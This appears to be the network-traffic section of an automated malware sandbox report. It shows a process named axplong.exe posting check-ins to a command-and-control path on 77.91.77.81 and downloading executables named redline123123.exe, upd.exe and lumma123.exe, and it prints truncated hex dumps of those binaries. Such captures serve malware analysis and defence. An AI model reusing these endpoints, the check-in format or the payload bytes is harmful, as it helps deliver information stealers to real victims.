00 00 00 00 00 00 00 50 03 00 ec 0d 00 00 00 80 03 00 28 b8 a9 00 00 10 02 00 28 08 00 00 00 00 00 00 00 00 00 00 00 40 ad 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 e3 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdOXf.)@P` P((@@(`S.text8``.data@.rdataP+,@@.eh_fram@.pdata(@@.xdata @@.bss0.idataP@.CRT``@.tlsp@.rsrc(@@.reloc@@B
Jun 4, 2024 23:09:15.111088991 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 48 89 e5 48 89 4d 10 48 89 55 18 4c 89 45 20 44 89 4d 28 90 5d c3 55 Data Ascii: UHHMHULE DM(]UHH THt^H7^H>2HguH)HK;H ]UHH0HwH
Jun 4, 2024 23:09:15.111105919 CEST	424	IN	Data Raw: 48 89 c1 e8 16 a5 01 00 48 89 45 f0 48 8b 45 28 48 8b 00 48 89 45 e8 c7 45 fc 00 00 00 00 e9 8f 00 00 00 8b 45 fc 48 98 48 8d 14 c5 00 00 00 00 48 8b 45 e8 48 01 d0 48 8b 00 48 89 c1 e8 2c a5 01 00 48 83 c0 01 48 01 c0 48 89 45 e0 8b 45 fc 48 98 Data Ascii: HHEHE(HHEEEHHHEHHH,HHHEEHHHEHHEHHEHHHEHHEHHHEHHHMIHEE;E eEHHHEHHHE(HUHHH[]UHH
Jun 4, 2024 23:09:15.111149073 CEST	1236	IN	Data Raw: 10 48 8d 15 16 1a 02 00 48 8d 0d af e9 01 00 ff d6 48 8d 0d 36 00 00 00 48 83 c4 28 5b 5e 5f 5d e9 1f ff ff ff 66 0f 1f 84 00 00 00 00 00 48 8d 05 59 ff ff ff 48 8d 35 42 ff ff ff 48 89 05 7b a9 01 00 eb bc 66 0f 1f 84 00 00 00 00 00 55 48 89 e5 Data Ascii: HHH6H([^_]fHYH5BH{fUHH HaHtHUHHtH ]H%<H ]f.fDUWVSHgV/'IHI(EJHMBMILIIZIRHO'=IB HHHHH
Jun 4, 2024 23:09:15.111238003 CEST	212	IN	Data Raw: df 83 e7 3f 89 c1 49 89 d3 49 83 c2 01 49 d3 e3 89 f9 49 d3 eb 4f 8d 1c 59 41 0f b6 0b 45 0f b6 5b 01 41 88 4a ff 44 01 d8 4c 39 d5 75 d6 49 39 f0 74 34 48 c7 c2 ec ff ff ff 48 89 d0 5b 5e 5f 5d 41 5c 41 5d 41 5e 41 5f c3 48 89 f2 4c 29 c2 89 d1 Data Ascii: ?IIIIOYAE[AJDL9uI9t4HH[^_]A\A]A^A_HL)H))HI9rL@ufHH[^_]A\A]A^A_L@AVAUATUWVSL\$`A3HMBCDIv6H
Jun 4, 2024 23:09:15.111249924 CEST	1236	IN	Data Raw: bd d0 b8 08 00 00 00 29 d0 49 83 f9 88 0f 87 28 02 00 00 4b 8d 5c 08 f8 48 8b 13 e9 83 00 00 00 66 0f 1f 44 00 00 48 8d 1d 69 b4 01 00 41 0f b6 10 4e 63 14 8b 49 01 da 41 ff e2 0f 1f 00 45 0f b6 50 06 49 c1 e2 30 4c 01 d2 45 0f b6 50 05 49 c1 e2 Data Ascii: )I(K\HfDHiANcIAEPI0LEPI(LEPI LEPILEPILEPILNDLD)D)MKH<)@M`LoAAA?DI9?IAM)M9L
Jun 4, 2024 23:09:15.111259937 CEST	212	IN	Data Raw: 00 00 00 0f 1f 80 00 00 00 00 44 89 f1 41 83 e6 07 c1 e9 03 48 29 cf 31 c9 48 89 7c 24 18 48 8b 3f 48 89 7c 24 30 48 8b 6c 24 20 48 8b 7c 24 60 48 39 fd 0f 82 99 0c 00 00 44 89 ff 41 83 e7 07 c1 ef 03 48 29 fd 48 8b 7d 00 48 89 6c 24 20 48 89 7c Data Ascii: DAH)1H\|$H?H\|$0Hl$ H\|$`H9DAH)H}Hl$ H\|$Hl$8H\|$hH9{DAH)H}Hl$8H\|$Hl$HH\|$pH9H)H\|$xHl$HLmI9{sH\|$0DHl$HDH
Jun 4, 2024 23:09:15.111272097 CEST	1236	IN	Data Raw: ef 48 8d 3c 78 0f b6 0f 0f b6 7f 01 41 01 fe 48 8b 7c 24 08 41 88 0a 44 89 f9 48 d3 e7 44 89 c1 48 d3 ef 48 8d 3c 78 0f b6 0f 0f b6 7f 01 88 0b 44 89 c9 44 01 ff 4c 8b 7c 24 30 48 d3 e5 44 89 c1 48 d3 ed 48 8d 2c 68 0f b6 4d 00 44 0f b6 65 01 88 Data Ascii: H<xAH\|$ADHDHH<xDDL\|$0HDHH,hMDeEMIDINHAAiADLHDHHPDIELt$ARLHDHHPRH\|$KDHDHH<xNDMIDIN$`A
Jun 4, 2024 23:09:15.111291885 CEST	1236	IN	Data Raw: 39 4c 24 40 0f 84 2f 01 00 00 45 89 f1 41 c1 e9 03 45 89 c8 4c 29 c1 4c 8b 44 24 40 4c 39 c1 0f 82 f5 00 00 00 4c 8b 44 24 08 48 89 4c 24 18 4d 39 c2 41 0f 92 c0 41 c1 e1 03 45 29 ce 4c 8b 09 45 84 c0 0f 84 f0 00 00 00 44 89 f1 4d 89 c8 49 83 c2 Data Ascii: 9L$@/EAEL)LD$@L9LD$HL$M9AAE)LEDMIIDIN@AE@EAJMDIDIN4pAEvEAJMDIDIN@AE@EAJMDIDIN4pAEvEAJA@wZLD$XL9D$DA
Jun 4, 2024 23:09:15.111304998 CEST	1236	IN	Data Raw: 00 44 8b 94 24 88 00 00 00 41 f7 d9 41 83 e1 3f 48 39 de 73 33 44 89 d1 49 89 e8 48 83 c6 01 49 d3 e0 44 89 c9 49 d3 e8 4a 8d 0c 40 44 0f b6 01 0f b6 49 01 44 88 46 ff 41 01 ca 48 39 f3 75 d5 44 89 94 24 88 00 00 00 83 fa 40 0f 87 43 01 00 00 44 Data Ascii: D$AA?H9s3DIHIDIJ@DIDFAH9uD$@CD$H\$xLT$pAA?H$Ht$HH9AL)H9I9Ht$HL.A)EMIIDIJ@qDLECHDHHP
Jun 4, 2024 23:09:15.111315966 CEST	1236	IN	Data Raw: 0f 84 ec 03 00 00 48 83 f8 88 0f 87 d8 fe ff ff 48 8b 44 24 70 4a 8d 44 18 f2 41 bb 08 00 00 00 48 89 44 24 18 48 8b 00 48 89 44 24 38 40 0f b6 c7 0f bd c0 41 29 c3 c1 ee 10 48 8b bc 24 f8 00 00 00 48 8b 84 24 f8 00 00 00 40 0f b6 f6 89 74 24 7c Data Ascii: HHD$pJDAHD$HHD$8@A)H$H$@t$\|IpHHHt$HHLpHt$(H,9H$H$HH$HHt$PHt$@HHLt$hHH$Ht$XHt$pH$HHt$`HL9DD$\|L\|$MH$A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49714	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:19.120433092 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000005001&unit=246122658369
Jun 4, 2024 23:09:20.032466888 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:20.041376114 CEST	59	OUT	GET /lend/redline123123.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:20.325490952 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:20 GMT Content-Type: application/octet-stream Content-Length: 304128 Last-Modified: Tue, 04 Jun 2024 14:24:04 GMT Connection: keep-alive ETag: "665f2384-4a400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 bc 1c 79 92 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 d0 02 00 00 d0 01 00 00 00 00 00 da 9f 02 00 00 20 00 00 00 00 03 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 9f 02 00 4f 00 00 00 00 00 03 00 d4 c9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 04 00 0c 00 00 00 6c 9f 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELy0 @ @Ol H.text `.rsrc@@.reloc@B
Jun 4, 2024 23:09:20.325505018 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 9f 02 00 00 00 00 00 48 00 00 00 02 00 05 00 50 2a 01 00 64 74 01 00 03 00 00 Data Ascii: HP*dtK01s%~%-&~[s&%(+o(8o)
Jun 4, 2024 23:09:20.325516939 CEST	1236	IN	Data Raw: 08 17 17 1a 8d a3 00 00 01 25 16 72 01 00 00 70 72 59 00 00 70 7e 2a 00 00 0a 28 2b 00 00 0a a2 25 17 72 71 00 00 70 72 af 00 00 70 7e 2a 00 00 0a 28 2b 00 00 0a a2 25 18 72 c7 00 00 70 72 07 01 00 70 7e 2a 00 00 0a 28 2b 00 00 0a a2 25 19 72 21 Data Ascii: %rprYp~(+%rqprp~(+%rprp~(+%r!prap~(+(o,81(-sNsk~}~s.(/o0}{rqprp~(+o1,rprp~
Jun 4, 2024 23:09:20.325527906 CEST	212	IN	Data Raw: 00 0a 6f 61 01 00 06 00 25 11 0f 6f 67 01 00 06 00 25 11 11 6f 69 01 00 06 00 25 73 4f 00 00 0a 6f 63 01 00 06 00 25 73 50 00 00 0a 6f 65 01 00 06 00 13 1b 06 11 1b 6f 51 00 00 0a 00 00 11 10 28 09 00 00 2b 13 1c 11 1c 2c 64 00 73 6b 01 00 06 25 Data Ascii: oa%og%oi%sOoc%sPoeoQ(+,dsk%o]%rp(7o_%sNoa%og%oi%sOoc%sPoeoQoj,oQ
Jun 4, 2024 23:09:20.325740099 CEST	1236	IN	Data Raw: 00 00 12 04 28 52 00 00 0a 3a c3 fa ff ff de 0f 12 04 fe 16 06 00 00 1b 6f 53 00 00 0a 00 dc 00 07 6f 54 00 00 0a 3a 25 fa ff ff de 0b 07 2c 07 07 6f 53 00 00 0a 00 dc 00 de 05 26 00 00 de 00 06 13 20 2b 00 11 20 2a 00 00 00 41 94 00 00 00 00 00 Data Ascii: (R:oSoT:%,oS& + *A,:D4$0sp
Jun 4, 2024 23:09:20.325774908 CEST	1236	IN	Data Raw: 6f 57 00 00 0a 6f 74 01 00 06 00 25 11 05 11 06 17 6f 18 01 00 06 6f 57 00 00 0a 16 6f 33 00 00 0a 1f 2e fe 01 6f 76 01 00 06 00 25 11 05 11 06 1c 6f 18 01 00 06 6f 57 00 00 0a 6f 78 01 00 06 00 25 11 05 11 06 1e 6f 18 01 00 06 16 6f 33 00 00 0a Data Ascii: oWot%ooWo3.ov%ooWox%oo31oz%ooW(] @Bj[!Yo\|%ooWo~%rpo(oo{j,-(^(_(`!Yo
Jun 4, 2024 23:09:20.325820923 CEST	1236	IN	Data Raw: 00 00 00 7d 00 00 00 ef 00 00 00 05 00 00 00 13 00 00 01 00 00 00 00 41 00 00 00 e5 00 00 00 26 01 00 00 06 00 00 00 1a 00 00 01 00 00 00 00 07 00 00 00 28 01 00 00 2f 01 00 00 06 00 00 00 1a 00 00 01 1b 30 05 00 e3 00 00 00 07 00 00 11 00 7e 2a Data Ascii: }A&(/0~o3v3o31+9%(YsZrp~(+(fogohoi(joko6og((+(+(+
Jun 4, 2024 23:09:20.325831890 CEST	1236	IN	Data Raw: 00 00 01 1b 30 02 00 b9 00 00 00 0b 00 00 11 00 73 4e 00 00 0a 0a 00 02 73 7b 00 00 0a 0b 73 7c 00 00 0a 0c 08 07 6f 7d 00 00 0a 00 00 08 6f 7e 00 00 0a 6f 7f 00 00 0a 16 6f 80 00 00 0a 6f 7f 00 00 0a 6f 81 00 00 0a 0d 2b 4e 09 6f 82 00 00 0a 74 Data Ascii: 0sNs{s\|o}o~oooo+Not#(orp([,orp([+,o\oT-u$,oS&+*:Z0~
Jun 4, 2024 23:09:20.325841904 CEST	848	IN	Data Raw: 73 38 00 00 0a 0a 00 02 28 76 00 00 0a 1f 1c 8d a5 00 00 01 25 d0 8f 02 00 04 28 59 00 00 0a 73 5a 00 00 0a 72 0f 04 00 70 7e 2a 00 00 0a 28 2b 00 00 0a 28 75 00 00 0a 6f 6b 00 00 0a 28 55 00 00 0a 0b 07 28 56 00 00 0a 16 fe 01 0d 09 2c 08 06 13 Data Ascii: s8(v%(YsZrp~(+(uok(U(V,3s(v%(YsZr!p~(+(uoko&8ooWsr%ooWot%ooWo3.ov%
Jun 4, 2024 23:09:20.326353073 CEST	1236	IN	Data Raw: 0a 72 33 04 00 70 7e 2a 00 00 0a 28 2b 00 00 0a 28 37 00 00 0a 28 55 00 00 0a 73 89 00 00 0a 0b 07 6f 8d 00 00 0a 16 fe 01 0c 08 2c 07 06 0d dd 74 02 00 00 19 13 04 38 52 02 00 00 00 1a 8d a3 00 00 01 25 16 72 3b 04 00 70 a2 25 17 72 3b 04 00 70 Data Ascii: r3p~(+(7(Uso,t8R%r;p%r;p%r;p%%(YsZr=p~(+9oo8oo8o0%(YsZr
Jun 4, 2024 23:09:20.326375008 CEST	1236	IN	Data Raw: 2b 13 06 12 05 28 9b 00 00 0a 28 9d 00 00 0a 28 37 00 00 0a 0a 11 04 1f 09 fe 02 13 08 11 08 2c 20 06 11 04 1f 0a 59 1f 41 58 d1 13 07 12 07 28 9b 00 00 0a 28 9c 00 00 0a 28 37 00 00 0a 0a 2b 13 06 12 04 28 9b 00 00 0a 28 9d 00 00 0a 28 37 00 00 Data Ascii: +(((7, YAX(((7+(((7Xo.X]+,rp(7Xo:+&(0-,+,+,+(+0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49715	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:21.777242899 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000007001&unit=246122658369
Jun 4, 2024 23:09:22.668469906 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:22.678536892 CEST	49	OUT	GET /lend/upd.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:22.958841085 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:22 GMT Content-Type: application/octet-stream Content-Length: 1834536 Last-Modified: Tue, 04 Jun 2024 14:24:10 GMT Connection: keep-alive ETag: "665f238a-1bfe28" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b3 10 d9 23 f7 71 b7 70 f7 71 b7 70 f7 71 b7 70 24 03 b4 71 fc 71 b7 70 24 03 b2 71 5e 71 b7 70 24 03 b3 71 e2 71 b7 70 24 03 b6 71 f4 71 b7 70 f7 71 b6 70 8c 71 b7 70 35 f0 b3 71 e5 71 b7 70 35 f0 b4 71 e2 71 b7 70 35 f0 b2 71 a3 71 b7 70 04 f3 be 71 f6 71 b7 70 04 f3 b5 71 f6 71 b7 70 52 69 63 68 f7 71 b7 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f2 1a 5c 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 38 02 00 00 aa 19 00 00 00 00 00 59 73 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 1c 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#qpqpqp$qqp$q^qp$qqp$qqpqpqp5qqp5qqp5qqpqqpqqpRichqpPEL\f'8YsP@@X((&, `@PT.text/0 `.BSs@4 `.rdataP<@@.data@.reloc,@B
Jun 4, 2024 23:09:22.958856106 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 70 d8 5b 00 e8 d5 3d 00 00 68 4a 3f 42 00 e8 ff 65 00 00 59 c3 6a 01 6a Data Ascii: p[=hJ?BeYjjh[@[ChT?BeYVWjY[FCjV[8TBGh^?BeY_^9[C8[\=hh?BeYh\|?BzeY
Jun 4, 2024 23:09:22.958920956 CEST	1236	IN	Data Raw: 68 72 3f 42 00 e8 6e 65 00 00 59 c3 b9 20 dc 5b 00 e8 2e 3d 00 00 68 90 3f 42 00 e8 58 65 00 00 59 c3 68 86 3f 42 00 e8 4c 65 00 00 59 c3 cc cc cc cc cc cc cc b8 e0 e7 5b 00 c3 cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 51 56 8b 75 08 6a 01 Data Ascii: hr?BneY [.=h?BXeYh?BLeY[UQVujdMQjVPp0^]UEPjuuup0vH]D$WVD$VD$RD$RBPfmm
Jun 4, 2024 23:09:22.958933115 CEST	1236	IN	Data Raw: 2b c2 83 c0 fc 83 f8 1f 0f 87 bf 00 00 00 51 52 e8 22 5e 00 00 83 c4 08 0f 28 4c 24 20 8d 4c 24 60 f3 0f 7e 44 24 30 66 0f d6 44 24 70 0f 57 c0 83 7c 24 74 0f 66 0f 7e c8 c7 07 c4 52 42 00 66 0f d6 47 04 0f 47 c8 0f 29 4c 24 60 8d 47 04 89 4c 24 Data Ascii: +QR"^(L$ L$`~D$0fD$pW\|$tf~RBfGG)L$`GL$PD$D$ P)iL$\|RBv)T$`ArP#+w>QR]MUO$RBW_^32]]VFRBPh
Jun 4, 2024 23:09:22.958942890 CEST	1236	IN	Data Raw: 1c c3 b8 69 cc 42 00 c3 cc cc cc cc cc 8b 49 04 56 8b 74 24 08 57 8d 3c b5 00 00 00 00 3b 71 0c 73 0c 8b 41 08 8b 04 07 85 c0 75 21 eb 02 33 c0 80 79 14 00 74 17 e8 ef 4b 00 00 3b 70 0c 73 0b 8b 40 08 8b 04 07 5f 5e c2 04 00 33 c0 5f 5e c2 04 00 Data Ascii: iBIVt$W<;qsAu!3ytK;ps@_^3_^APD$PlNVt$W\|$;tSYSP?NF;u[_^APD$P"PVt$W\|$;tSYSPOF;u
Jun 4, 2024 23:09:22.958954096 CEST	636	IN	Data Raw: 3b 42 00 64 a1 00 00 00 00 50 83 ec 20 53 56 57 a1 40 00 43 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 89 65 f0 33 f6 89 75 e8 68 40 d9 5b 00 8d 4d dc e8 93 0c 00 00 80 7d e0 00 0f 84 bc 00 00 00 a1 40 d9 5b 00 8b 40 04 8b 80 70 d9 5b 00 8b 78 04 89 Data Ascii: ;BdP SVW@C3PEde3uh@[M}@[@p[x}PEPtRtjE@[@@[Q8EU[EjouQRuMQP$}EuE,jj@[H@[] @
Jun 4, 2024 23:09:22.958997965 CEST	1236	IN	Data Raw: 00 00 00 00 8d 78 01 c7 46 14 00 00 00 00 8a 08 40 84 c9 75 f9 2b c7 8b ce 50 52 e8 5d 19 00 00 5f 8b c6 5e c2 04 00 cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 4c a1 40 00 43 00 33 c4 89 44 24 48 8b 45 1c 53 8b 5d 08 56 8b 75 14 57 50 68 e8 cc 42 Data Ascii: xF@u+PR]_^UL@C3D$HES]VuWPhBD$j@P,PD$$PuVuuSWu$0_^[3BQ]UX@C3D$TE3VuWL$W)D$0N0D$,t$T$@\|$DT$00u
Jun 4, 2024 23:09:22.959013939 CEST	212	IN	Data Raw: c2 81 f9 00 10 00 00 72 10 8b 50 fc 83 c1 23 2b c2 83 c0 fc 83 f8 1f 77 1f 51 52 e8 1f 4d 00 00 83 c4 08 8b 4c 24 5c 8b c6 5f 5e 33 cc e8 ca 4c 00 00 8b e5 5d c2 1c 00 e8 2b cb 00 00 cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 83 e4 f8 83 ec 54 Data Ascii: rP#+wQRML$\_^3L]+UT@C3D$PS]VW}L$D$%W tD$+D$L$Et#@fI6@4uotu Xu Pu@
Jun 4, 2024 23:09:22.959041119 CEST	1236	IN	Data Raw: 00 8d 44 24 18 50 8d 44 24 24 6a 40 50 e8 d3 e9 ff ff 83 c4 14 50 8d 44 24 1c 50 ff 75 18 57 ff 75 10 ff 75 0c 53 ff 74 24 28 e8 16 07 00 00 8b 4c 24 7c 83 c4 20 8b c3 5f 5e 5b 33 cc e8 e6 4b 00 00 8b e5 5d c2 1c 00 cc cc cc cc cc cc cc cc cc cc Data Ascii: D$PD$$j@PPD$PuWuuSt$(L$\| _^[3K]UT@C3D$PS]VW}L$D$%W tD$+D$L$Et#@fI6@4uotd Xu Pu@D$PD$$j@P
Jun 4, 2024 23:09:22.959120035 CEST	1236	IN	Data Raw: 0f 32 c0 88 46 04 8b c6 5f 5e 8b e5 5d c2 04 00 8b 49 3c 85 c9 74 23 3b cf 74 1f e8 81 07 00 00 8b 07 8b 40 04 83 7c 38 0c 00 0f 94 c0 88 46 04 8b c6 5f 5e 8b e5 5d c2 04 00 b0 01 88 46 04 8b c6 5f 5e 8b e5 5d c2 04 00 cc cc cc cc cc cc cc cc 51 Data Ascii: 2F_^]I<t#;t@\|8F_^]F_^]Qt$39Q8EAD$PAYD$VSBtjVF^QWVt$WFyFAu+QR_^Q
Jun 4, 2024 23:09:22.959131956 CEST	1236	IN	Data Raw: 8b 48 04 8d 44 24 48 0f 47 44 24 48 50 51 52 8d 44 24 3c 89 55 10 50 53 89 4d 14 e8 0d fd ff ff 83 c4 30 eb 68 83 7c 24 40 0f 8d 44 24 2c 56 0f 47 44 24 30 50 ff 75 14 8d 44 24 20 ff 75 10 50 53 e8 e7 fc ff ff 57 ff 75 1c 8b 08 8b 40 04 50 89 45 Data Ascii: HD$HGD$HPQRD$<UPSM0h\|$@D$,VGD$0PuD$ uPSWu@PED$8QPSM[03$\|$@D$,VGD$0PuD$ uPSHD$,\|$@UGD$,)t$t$MPQRD$$PSoT$<t$@W@uMPQVSEB B$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49719	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:09:24.989326954 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000008001&unit=246122658369
Jun 4, 2024 23:09:25.900543928 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Jun 4, 2024 23:09:25.954144955 CEST	54	OUT	GET /lend/lumma123.exe HTTP/1.1 Host: 77.91.77.81
Jun 4, 2024 23:09:26.236967087 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:09:26 GMT Content-Type: application/octet-stream Content-Length: 511488 Last-Modified: Tue, 04 Jun 2024 14:23:46 GMT Connection: keep-alive ETag: "665f2372-7ce00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 53 df 9c f7 17 be f2 a4 17 be f2 a4 17 be f2 a4 c4 cc f1 a5 1c be f2 a4 c4 cc f7 a5 be be f2 a4 c4 cc f6 a5 02 be f2 a4 d5 3f f6 a5 05 be f2 a4 d5 3f f1 a5 02 be f2 a4 c4 cc f3 a5 12 be f2 a4 17 be f3 a4 68 be f2 a4 d5 3f f7 a5 42 be f2 a4 e4 3c f7 a5 16 be f2 a4 e4 3c f0 a5 16 be f2 a4 52 69 63 68 17 be f2 a4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a 4b 58 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 38 02 00 00 a0 05 00 00 00 00 00 22 73 00 00 00 10 00 00 00 50 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 08 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$S??h?B<<RichPELJKXf'8"sP@@<X@Pd.text.0 `.BSSc@4 `.rdataP<@@.data@.reloc@B
Jun 4, 2024 23:09:26.236987114 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 80 d0 47 00 e8 44 3d 00 00 68 6a 3e 42 00 e8 8f 67 00 00 59 c3 68 7e 3e 42 00 Data Ascii: GD=hj>BgYh~>BgYht>BwgYjjhxG(G.Jh>BXgYVWjYxGrJjVxG`BOh>B gY_^!GJ G<h
Jun 4, 2024 23:09:26.236998081 CEST	1236	IN	Data Raw: 3e 42 00 e8 fe 66 00 00 59 c3 b9 10 d4 47 00 e8 9d 3c 00 00 68 b0 3e 42 00 e8 e8 66 00 00 59 c3 68 a6 3e 42 00 e8 dc 66 00 00 59 c3 cc cc cc cc cc cc cc 55 8b ec 6a ff 68 10 3b 42 00 64 a1 00 00 00 00 50 83 ec 30 53 56 57 a1 00 c1 47 00 33 c5 50 Data Ascii: >BfYG<h>BfYh>BfYUjh;BdP0SVWG3PEde3]UJBu+UM@t \|$\|t\|;v+WfE}uQMM8]uEUAD%@t7\|0t*H
